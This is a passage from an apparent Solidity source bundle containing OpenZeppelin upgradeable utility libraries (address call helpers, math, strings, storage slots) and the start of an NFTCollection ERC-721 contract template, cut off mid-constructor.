v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {\n }\n\n function __Context_init_unchained() internal onlyInitializing {\n }\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165Upgradeable.sol\";\nimport \"../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {\n function __ERC165_init() internal onlyInitializing {\n }\n\n function __ERC165_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165Upgradeable).interfaceId;\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165Upgradeable {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary MathUpgradeable {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n // Solidity will revert if denominator == 0, unlike the div opcode on its own.\n // The surrounding unchecked block does not change this fact.\n // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/math/SignedMathUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMathUpgradeable {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/MathUpgradeable.sol\";\nimport \"./math/SignedMathUpgradeable.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary StringsUpgradeable {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = MathUpgradeable.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMathUpgradeable.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, MathUpgradeable.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"@openzeppelin/contracts/utils/ShortStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/ShortStrings.sol)\n\npragma solidity ^0.8.8;\n\nimport \"./StorageSlot.sol\";\n\n// | string | 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA |\n// | length | 0x BB |\ntype ShortString is bytes32;\n\n/**\n * @dev This library provides functions to convert short memory strings\n * into a `ShortString` type that can be used as an immutable variable.\n *\n * Strings of arbitrary length can be optimized using this library if\n * they are short enough (up to 31 bytes) by packing them with their\n * length (1 byte) in a single EVM word (32 bytes). Additionally, a\n * fallback mechanism can be used for every other case.\n *\n * Usage example:\n *\n * ```solidity\n * contract Named {\n * using ShortStrings for *;\n *\n * ShortString private immutable _name;\n * string private _nameFallback;\n *\n * constructor(string memory contractName) {\n * _name = contractName.toShortStringWithFallback(_nameFallback);\n * }\n *\n * function name() external view returns (string memory) {\n * return _name.toStringWithFallback(_nameFallback);\n * }\n * }\n * ```\n */\nlibrary ShortStrings {\n // Used as an identifier for strings longer than 31 bytes.\n bytes32 private constant _FALLBACK_SENTINEL = 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n error InvalidShortString();\n\n /**\n * @dev Encode a string of at most 31 chars into a `ShortString`.\n *\n * This will trigger a `StringTooLong` error is the input string is too long.\n */\n function toShortString(string memory str) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n /**\n * @dev Decode a `ShortString` back to a \"normal\" string.\n */\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n // using `new string(len)` would work locally but is not memory safe.\n string memory str = new string(32);\n /// @solidity memory-safe-assembly\n assembly {\n mstore(str, len)\n mstore(add(str, 0x20), sstr)\n }\n return str;\n }\n\n /**\n * @dev Return the length of a `ShortString`.\n */\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n if (result > 31) {\n revert InvalidShortString();\n }\n return result;\n }\n\n /**\n * @dev Encode a string into a `ShortString`, or write it to storage if it is too long.\n */\n function toShortStringWithFallback(string memory value, string storage store) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n return ShortString.wrap(_FALLBACK_SENTINEL);\n }\n }\n\n /**\n * @dev Decode a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n */\n function toStringWithFallback(ShortString value, string storage store) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n /**\n * @dev Return the length of a string that was encoded to `ShortString` or written to storage using {setWithFallback}.\n *\n * WARNING: This will return the \"byte length\" of the string. This may not reflect the actual length in terms of\n * actual characters as the UTF-8 encoding of a single character can span over multiple bytes.\n */\n function byteLengthWithFallback(ShortString value, string storage store) internal view returns (uint256) {\n if (ShortString.unwrap(value) != _FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n"
},
"@openzeppelin/contracts/utils/StorageSlot.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol)\n// This file was procedurally generated from scripts/generate/templates/StorageSlot.js.\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Library for reading and writing primitive types to specific storage slots.\n *\n * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.\n * This library helps with reading and writing to such slots without the need for inline assembly.\n *\n * The functions in this library return Slot structs that contain a `value` member that can be used to read or write.\n *\n * Example usage to set ERC1967 implementation slot:\n * ```solidity\n * contract ERC1967 {\n * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n *\n * function _getImplementation() internal view returns (address) {\n * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n * }\n *\n * function _setImplementation(address newImplementation) internal {\n * require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n * }\n * }\n * ```\n *\n * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._\n * _Available since v4.9 for `string`, `bytes`._\n */\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n /**\n * @dev Returns an `AddressSlot` with member `value` located at `slot`.\n */\n function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BooleanSlot` with member `value` located at `slot`.\n */\n function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Bytes32Slot` with member `value` located at `slot`.\n */\n function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `Uint256Slot` with member `value` located at `slot`.\n */\n function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` with member `value` located at `slot`.\n */\n function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `StringSlot` representation of the string storage pointer `store`.\n */\n function getStringSlot(string storage store) internal pure returns (StringSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` with member `value` located at `slot`.\n */\n function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := slot\n }\n }\n\n /**\n * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`.\n */\n function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) {\n /// @solidity memory-safe-assembly\n assembly {\n r.slot := store.slot\n }\n }\n}\n"
},
"contracts/collectionTemplates/NFTCollection.sol": {
"content": "// SPDX-License-Identifier: MIT OR Apache-2.0\n\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol\";\nimport \"@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol\";\n\nimport \"../interfaces/internal/INFTCollectionInitializer.sol\";\n\nimport \"../libraries/AddressLibrary.sol\";\n\nimport \"../mixins/collections/CollectionRoyalties.sol\";\nimport \"../mixins/collections/NFTCollectionType.sol\";\nimport \"../mixins/collections/SequentialMintCollection.sol\";\nimport \"../mixins/collections/TokenLimitedCollection.sol\";\nimport \"../mixins/shared/ContractFactory.sol\";\n\nerror NFTCollection_Max_Token_Id_Has_Already_Been_Minted(uint256 maxTokenId);\nerror NFTCollection_Token_CID_Already_Minted();\nerror NFTCollection_Token_CID_Required();\nerror NFTCollection_Token_Creator_Payment_Address_Required();\n\n/**\n * @title A collection of 1:1 NFTs by a single creator.\n * @notice A 10% royalty to the creator is included which may be split with collaborators on a per-NFT basis.\n * @author batu-inal & HardlyDifficult\n */\ncontract NFTCollection is\n INFTCollectionInitializer,\n ContractFactory,\n Initializable,\n ERC165Upgradeable,\n ERC721Upgradeable,\n ERC721BurnableUpgradeable,\n NFTCollectionType,\n SequentialMintCollection,\n TokenLimitedCollection,\n CollectionRoyalties\n{\n using AddressLibrary for address;\n using AddressUpgradeable for address;\n\n /**\n * @notice The baseURI to use for the tokenURI, if undefined then `ipfs://` is used.\n */\n string private baseURI_;\n\n /**\n * @notice Stores hashes minted to prevent duplicates.\n * @dev 0 means not yet minted, set to 1 when minted.\n * For why using uint is better than using bool here:\n * github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.7.3/contracts/security/ReentrancyGuard.sol#L23-L27\n */\n mapping(string => uint256) private cidToMinted;\n\n /**\n * @dev Stores an optional alternate address to receive creator revenue and royalty payments.\n * The target address may be a contract which could split or escrow payments.\n */\n mapping(uint256 => address payable) private tokenIdToCreatorPaymentAddress;\n\n /**\n * @dev Stores a CID for each NFT.\n */\n mapping(uint256 => string) private _tokenCIDs;\n\n /**\n * @notice Emitted when the owner changes the base URI to be used for NFTs in this collection.\n * @param baseURI The new base URI to use.\n */\n event BaseURIUpdated(string baseURI);\n\n /**\n * @notice Emitted when a new NFT is minted.\n * @param creator The address of the collection owner at this time this NFT was minted.\n * @param tokenId The tokenId of the newly minted NFT.\n * @param indexedTokenCID The CID of the newly minted NFT, indexed to enable watching for mint events by the tokenCID.\n * @param tokenCID The actual CID of the newly minted NFT.\n */\n event Minted(address indexed creator, uint256 indexed tokenId, string indexed indexedTokenCID, string tokenCID);\n\n /**\n * @notice Emitted when the payment address for creator royalties is set.\n * @param fromPaymentAddress The original address used for royalty payments.\n * @param toPaymentAddress The new address used for royalty payments.\n * @param tokenId The NFT which had the royalty payment address updated.\n */\n event TokenCreatorPaymentAddressSet(\n address indexed fromPaymentAddress,\n address indexed toPaymentAddress,\n uint256 indexed tokenId\n );\n\n /**\n * @notice Initialize the template's immutable variables.\n * @param _contractFactory The factory which will be used to create collection contracts.\n */\n constructor(address _contractFactory) ContractFactory(_contractFactory) NFTCollectionType(NFT_COLLECTION_TYPE) {\n // The template will be initialized by the factory when it's registered for use.\n }\n\n /**\n * @notice Called by the contract factory on creation.\n * @param _creator The creator of this collection.\n * @param _name The collection's `name`.\n * @param _symbol 